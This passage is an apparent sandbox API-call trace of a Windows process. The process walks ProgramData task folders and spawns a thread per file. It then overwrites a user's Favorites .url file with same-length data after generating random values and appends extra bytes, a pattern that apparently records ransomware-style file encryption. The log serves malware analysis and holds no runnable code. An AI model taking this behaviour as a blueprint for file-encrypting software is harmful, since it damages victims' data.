ftLastWriteTime.dwLowDateTime=0x7c1f3d69, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x10850, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ico", cAlternateFileName="")) returned 1 [0158.664] wcscmp (_String1="settings.ico", _String2=".") returned 1 [0158.664] wcscmp (_String1="settings.ico", _String2="..") returned 1 [0158.664] FindNextFileW (in: hFindFile=0x1cd869d0, lpFindFileData=0x20503160 | out: lpFindFileData=0x20503160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d3e0b7, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d3e0b7, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc04b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sync.ico", cAlternateFileName="")) returned 1 [0158.664] wcscmp (_String1="sync.ico", _String2=".") returned 1 [0158.664] wcscmp (_String1="sync.ico", _String2="..") returned 1 [0158.664] FindNextFileW (in: hFindFile=0x1cd869d0, lpFindFileData=0x20503160 | out: lpFindFileData=0x20503160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c219ec7, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x7c219ec7, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3473, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1 [0158.664] wcscmp (_String1="tasks.xml", _String2=".") returned 1 [0158.664] wcscmp (_String1="tasks.xml", _String2="..") returned 1 [0158.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x20279670 [0158.665] wcscpy (in: _Dest=0x20279670, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" [0158.665] wcscat (in: _Dest=0x20279670, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" [0158.665] wcscat (in: _Dest=0x20279670, _Source="tasks.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" [0158.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20279670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11ec [0158.666] FindNextFileW (in: hFindFile=0x1cd869d0, lpFindFileData=0x20503160 | out: lpFindFileData=0x20503160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d64214, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d64214, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 1 [0158.666] wcscmp (_String1="wmp.ico", _String2=".") returned 1 [0158.666] wcscmp (_String1="wmp.ico", _String2="..") returned 1 [0158.666] FindNextFileW (in: hFindFile=0x1cd869d0, lpFindFileData=0x20503160 | out: lpFindFileData=0x20503160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d64214, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d64214, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 0 [0158.666] FindClose (in: hFindFile=0x1cd869d0 | out: hFindFile=0x1cd869d0) returned 1 [0158.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503160) returned 1 [0158.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64dc0) returned 1 [0158.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64210) returned 1 Thread: id = 2717 os_tid = 0x22e0 [0157.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1cd64e70 [0157.796] wcscpy (in: _Dest=0x1cd64e70, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" [0157.796] wcscat (in: _Dest=0x1cd64e70, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" [0157.796] wcscat (in: _Dest=0x1cd64e70, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*" [0157.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20502ef0 [0157.797] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*", lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86a30 [0157.797] wcscmp (_String1=".", _String2=".") returned 0 [0157.797] FindNextFileW (in: hFindFile=0x1cd86a30, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.797] wcscmp (_String1="..", _String2=".") returned 1 [0157.797] wcscmp (_String1="..", _String2="..") returned 0 [0157.797] FindNextFileW (in: hFindFile=0x1cd86a30, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0157.797] wcscmp (_String1="en-US", _String2=".") returned 1 [0157.797] wcscmp (_String1="en-US", _String2="..") returned 1 [0157.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x106940 [0157.797] wcscpy (in: _Dest=0x106940, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" [0157.797] wcscat (in: _Dest=0x106940, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" [0157.797] wcscat (in: _Dest=0x106940, _Source="en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US" [0158.436] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x106940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f0 [0158.437] FindNextFileW (in: hFindFile=0x1cd86a30, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78a2eab, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0158.437] wcscmp (_String1="folder.ico", _String2=".") returned 1 [0158.437] wcscmp (_String1="folder.ico", _String2="..") returned 1 [0158.437] FindNextFileW (in: hFindFile=0x1cd86a30, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0eca86, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0eca86, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78c9009, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xe3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_pref.ico", cAlternateFileName="")) returned 1 [0158.437] wcscmp (_String1="print_pref.ico", _String2=".") returned 1 [0158.437] wcscmp (_String1="print_pref.ico", _String2="..") returned 1 [0158.437] FindNextFileW (in: hFindFile=0x1cd86a30, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0eca86, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0eca86, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78c9009, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xebb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_property.ico", cAlternateFileName="")) returned 1 [0158.437] wcscmp (_String1="print_property.ico", _String2=".") returned 1 [0158.437] wcscmp (_String1="print_property.ico", _String2="..") returned 1 [0158.437] FindNextFileW (in: hFindFile=0x1cd86a30, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f112be3, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f112be3, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7be8cbf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdff5, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_queue.ico", cAlternateFileName="")) returned 1 [0158.437] wcscmp (_String1="print_queue.ico", _String2=".") returned 1 [0158.437] wcscmp (_String1="print_queue.ico", _String2="..") returned 1 [0158.437] FindNextFileW (in: hFindFile=0x1cd86a30, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f138d40, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f138d40, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c0ee1d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xec75, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_.ico", cAlternateFileName="")) returned 1 [0158.437] wcscmp (_String1="scan_.ico", _String2=".") returned 1 [0158.437] wcscmp (_String1="scan_.ico", _String2="..") returned 1 [0158.437] FindNextFileW (in: hFindFile=0x1cd86a30, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c0ee1d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x10654, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_property.ico", cAlternateFileName="")) returned 1 [0158.437] wcscmp (_String1="scan_property.ico", _String2=".") returned 1 [0158.437] wcscmp (_String1="scan_property.ico", _String2="..") returned 1 [0158.437] FindNextFileW (in: hFindFile=0x1cd86a30, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f138d40, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f138d40, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c34f7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xf8c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_settings.ico", cAlternateFileName="")) returned 1 [0158.437] wcscmp (_String1="scan_settings.ico", _String2=".") returned 1 [0158.437] wcscmp (_String1="scan_settings.ico", _String2="..") returned 1 [0158.438] FindNextFileW (in: hFindFile=0x1cd86a30, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f054512, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f054512, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7d3f90d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1 [0158.438] wcscmp (_String1="tasks.xml", _String2=".") returned 1 [0158.438] wcscmp (_String1="tasks.xml", _String2="..") returned 1 [0158.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x20279f70 [0158.438] wcscpy (in: _Dest=0x20279f70, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" [0158.438] wcscat (in: _Dest=0x20279f70, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" [0158.438] wcscat (in: _Dest=0x20279f70, _Source="tasks.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" [0158.438] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20279f70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf34 [0158.439] FindNextFileW (in: hFindFile=0x1cd86a30, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f054512, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f054512, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7d3f90d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 0 [0158.439] FindClose (in: hFindFile=0x1cd86a30 | out: hFindFile=0x1cd86a30) returned 1 [0158.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20502ef0) returned 1 [0158.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64e70) returned 1 [0158.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64160) returned 1 Thread: id = 2718 os_tid = 0x22e4 [0157.798] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url")) returned 0x20 [0157.800] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", dwFileAttributes=0x20) returned 1 [0157.801] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd5c [0157.801] GetFileSizeEx (in: hFile=0xd5c, lpFileSize=0x3d0cfc40 | out: lpFileSize=0x3d0cfc40*=133) returned 1 [0157.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20501310 [0157.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20501340 [0157.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20501370 [0157.802] NtQuerySystemTime (in: CurrentTime=0x3d0cfb00 | out: CurrentTime=0x3d0cfb00*=132462177629338000) returned 0x0 [0157.802] RtlRandomEx (in: Seed=0x3d0cfaf0 | out: Seed=0x3d0cfaf0) returned 0x128dbcec [0157.802] RtlRandomEx (in: Seed=0x3d0cfaf0 | out: Seed=0x3d0cfaf0) returned 0x1fa93a91 [0157.802] RtlRandomEx (in: Seed=0x3d0cfaf0 | out: Seed=0x3d0cfaf0) returned 0x2f449db [0157.802] RtlRandomEx (in: Seed=0x3d0cfaf0 | out: Seed=0x3d0cfaf0) returned 0x54dfda4f [0157.802] RtlRandomEx (in: Seed=0x3d0cfaf0 | out: Seed=0x3d0cfaf0) returned 0x4f9b6a7b [0157.802] RtlRandomEx (in: Seed=0x3d0cfaf0 | out: Seed=0x3d0cfaf0) returned 0x17134dc8 [0157.802] RtlRandomEx (in: Seed=0x3d0cfaf0 | out: Seed=0x3d0cfaf0) returned 0x250ceecf [0157.802] RtlRandomEx (in: Seed=0x3d0cfaf0 | out: Seed=0x3d0cfaf0) returned 0x40a357ed [0157.802] RtlRandomEx (in: Seed=0x3d0cfaf0 | out: Seed=0x3d0cfaf0) returned 0xc665bd6 [0157.802] RtlRandomEx (in: Seed=0x3d0cfaf0 | out: Seed=0x3d0cfaf0) returned 0x3a9cdced [0157.802] RtlRandomEx (in: Seed=0x3d0cfaf0 | out: Seed=0x3d0cfaf0) returned 0x1d9420d6 [0157.802] RtlRandomEx (in: Seed=0x3d0cfaf0 | out: Seed=0x3d0cfaf0) returned 0x35b67280 [0157.803] RtlRandomEx (in: Seed=0x3d0cfaf0 | out: Seed=0x3d0cfaf0) returned 0x58401335 [0157.803] RtlRandomEx (in: Seed=0x3d0cfaf0 | out: Seed=0x3d0cfaf0) returned 0x28c5b7ea [0157.803] RtlRandomEx (in: Seed=0x3d0cfaf0 | out: Seed=0x3d0cfaf0) returned 0x2f71bc2a [0157.803] RtlRandomEx (in: Seed=0x3d0cfaf0 | out: Seed=0x3d0cfaf0) returned 0x36f2d987 [0157.803] RtlRandomEx (in: Seed=0x3d0cfaf0 | out: Seed=0x3d0cfaf0) returned 0x5e101e4b [0157.803] RtlRandomEx (in: Seed=0x3d0cfaf0 | out: Seed=0x3d0cfaf0) returned 0x7ca885c6 [0157.803] RtlRandomEx (in: Seed=0x3d0cfaf0 | out: Seed=0x3d0cfaf0) returned 0x4757b60e [0157.803] RtlRandomEx (in: Seed=0x3d0cfaf0 | out: Seed=0x3d0cfaf0) returned 0x3d6b6e30 [0157.803] RtlRandomEx (in: Seed=0x3d0cfaf0 | out: Seed=0x3d0cfaf0) returned 0xc4a18ef [0157.803] RtlRandomEx (in: Seed=0x3d0cfaf0 | out: Seed=0x3d0cfaf0) returned 0x10522df7 [0157.803] RtlRandomEx (in: Seed=0x3d0cfaf0 | out: Seed=0x3d0cfaf0) returned 0x1ec6548a [0157.803] RtlRandomEx (in: Seed=0x3d0cfaf0 | out: Seed=0x3d0cfaf0) returned 0x7625a03b [0157.803] RtlRandomEx (in: Seed=0x3d0cfaf0 | out: Seed=0x3d0cfaf0) returned 0x72ba2cf3 [0157.803] RtlRandomEx (in: Seed=0x3d0cfaf0 | out: Seed=0x3d0cfaf0) returned 0x4c84f03e [0157.803] RtlRandomEx (in: Seed=0x3d0cfaf0 | out: Seed=0x3d0cfaf0) returned 0x59d3bb98 [0157.803] RtlRandomEx (in: Seed=0x3d0cfaf0 | out: Seed=0x3d0cfaf0) returned 0x26566914 [0157.803] RtlRandomEx (in: Seed=0x3d0cfaf0 | out: Seed=0x3d0cfaf0) returned 0x1732ca12 [0157.803] RtlRandomEx (in: Seed=0x3d0cfaf0 | out: Seed=0x3d0cfaf0) returned 0x7ae8ee83 [0157.803] RtlRandomEx (in: Seed=0x3d0cfaf0 | out: Seed=0x3d0cfaf0) returned 0x77c62f6e [0157.803] RtlRandomEx (in: Seed=0x3d0cfaf0 | out: Seed=0x3d0cfaf0) returned 0x1ea71b5d [0157.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205012e0 [0157.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebe800 [0157.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20501280 [0157.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe800) returned 1 [0157.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501370) returned 1 [0157.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0157.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bbb0 [0157.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebe800 [0157.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20501310 [0157.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501310) returned 1 [0157.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b485f0 [0157.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b4c200 [0157.813] ReadFile (in: hFile=0xd5c, lpBuffer=0x42b485f0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x3d0cfaf0, lpOverlapped=0x0 | out: lpBuffer=0x42b485f0*, lpNumberOfBytesRead=0x3d0cfaf0*=0x85, lpOverlapped=0x0) returned 1 [0157.814] SetFilePointerEx (in: hFile=0xd5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.814] WriteFile (hFile=0xd5c, lpBuffer=0x42b4c200, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x3d0cfaf4, lpOverlapped=0x0) [0186.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9020 [0186.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9050 [0186.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9050) returned 1 [0186.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b4c200) returned 1 [0186.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b485f0) returned 1 [0186.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe800) returned 1 [0186.271] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bbb0) returned 1 [0186.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1ce5c9b0 [0186.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bbb0 [0186.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebe800 [0186.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9050 [0186.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9050) returned 1 [0186.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1ce5c9f0 [0186.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9050 [0186.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9080 [0186.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9080) returned 1 [0186.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe800) returned 1 [0186.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bbb0) returned 1 [0186.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x116) returned 0x423aa890 [0186.275] SetFilePointerEx (in: hFile=0xd5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.276] WriteFile (in: hFile=0xd5c, lpBuffer=0x423aa890*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3d0cfc10, lpOverlapped=0x0 | out: lpBuffer=0x423aa890*, lpNumberOfBytesWritten=0x3d0cfc10*=0x116, lpOverlapped=0x0) returned 1 [0192.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420596a0 [0192.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504f90 [0192.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18b40 [0192.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18b40) returned 1 [0192.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c18b40 [0192.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, 